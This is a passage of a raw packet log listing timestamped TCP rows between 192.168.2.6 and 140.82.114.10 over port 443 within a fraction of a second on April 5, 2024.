Apr 5, 2024 20:10:30.570991993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.570991993 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.571002007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.571019888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.571055889 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.572731018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.572751045 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.572794914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.572802067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.572828054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.572850943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.577100039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.577120066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.577161074 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.577172041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.577209949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.577229977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.620414972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.620438099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.620471001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.620481968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.620532036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.624231100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.624267101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.624300957 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.624305964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.624351978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.625133991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.625185013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.626908064 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.626929998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.626975060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.626980066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.627002001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.628475904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.628498077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.628526926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.628530979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.628560066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.630800962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.630816936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.630857944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.630863905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.630892038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.634143114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.634170055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.634196997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.634202957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.634247065 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.635680914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.635727882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.635732889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.635768890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.636621952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.636637926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.636677980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.636682034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.636708975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.636727095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.638669014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.638686895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.638725042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.638730049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.638768911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.638787985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.639612913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.639643908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.639666080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.639673948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.639708996 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.639724970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.643512964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.643534899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.643570900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.643575907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.643598080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.643625021 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.643690109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.643737078 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.645762920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.645771027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.645834923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.645840883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.647190094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.647212029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.647258997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.647264004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.647294044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.655077934 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.655109882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.655136108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.655142069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.655167103 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.656392097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.656425953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.656450033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.656454086 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.656478882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.656507015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.656553030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.656558037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.656595945 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.658135891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.658157110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.658186913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.658200026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.658230066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.658247948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.659200907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.659219027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.659259081 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.659262896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.659287930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.659311056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.660417080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.660437107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.660466909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.660470963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.660514116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.661221981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.661240101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.661279917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.661283970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.661310911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.661334991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.661392927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.661443949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.663197041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.663213968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.663254976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.663258076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.663283110 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.664952993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.664973974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.665007114 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.665011883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.665044069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.667391062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.667421103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.667452097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.667457104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.667488098 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.672231913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.672255039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.672301054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.672306061 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.672311068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.672329903 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.672368050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.673491001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.673512936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.673544884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.673557043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.673590899 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.674335957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.674360037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.674388885 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.674395084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.674417973 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.675431013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.675448895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.675479889 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.675484896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.675510883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.676327944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.676347971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.676376104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.676381111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.676408052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.676413059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.676460028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.676464081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.676516056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.677483082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.677547932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.677555084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.677558899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.677599907 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.678817034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.678834915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.678878069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.678884029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.678920031 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.678937912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.679817915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.679846048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.679872036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.679876089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.679897070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.679922104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.680819988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.680836916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.680871964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.680877924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.680906057 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.680926085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.680988073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.681030035 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.682260990 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.682279110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.682322979 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.682334900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.682364941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.683332920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.683361053 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.683402061 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.683406115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.683432102 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.683789015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.683805943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.683837891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.683841944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.683866978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.684078932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.684099913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.684128046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.684132099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.684154987 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.684335947 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.684380054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.684386015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.684422970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.684974909 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.684992075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.685317039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.685322046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.685367107 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.685635090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.685652971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.685686111 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.685689926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.685718060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.685733080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.686130047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.686146975 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.686172962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.686177969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.686203957 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.686224937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.686619043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.686638117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.686671019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.686675072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.686682940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.686697960 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.686727047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.686729908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687024117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687045097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687076092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.687082052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687098980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.687328100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687344074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687375069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.687380075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687402964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.687901020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687922001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687956095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.687959909 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.687988997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.688379049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.688395023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.688452005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.688452959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.688461065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.688502073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.688877106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.688896894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.688946962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.688951969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.688961029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.689862967 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.689882994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.689917088 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.689924002 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.689951897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.691845894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.691863060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.691899061 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.691904068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.691935062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.692439079 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.692476988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.692492962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.692497015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.692522049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.692877054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.692924976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.692929983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.692965984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.693625927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.693641901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.693677902 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.693681955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.693703890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.693728924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.694385052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.694401026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.694453001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.694463015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.694500923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.695194960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.695209026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.695254087 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.695259094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.695281029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.695308924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.695714951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.695732117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.695772886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.695782900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.695791006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.695825100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.695843935 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.696233988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.696250916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.696279049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.696281910 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.696309090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.696330070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.697069883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.697087049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.697125912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.697129965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.697168112 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.697186947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.697823048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.697844028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.697885036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.697889090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.697912931 CEST	49727	443	192.168.2.6	140.82.114.10
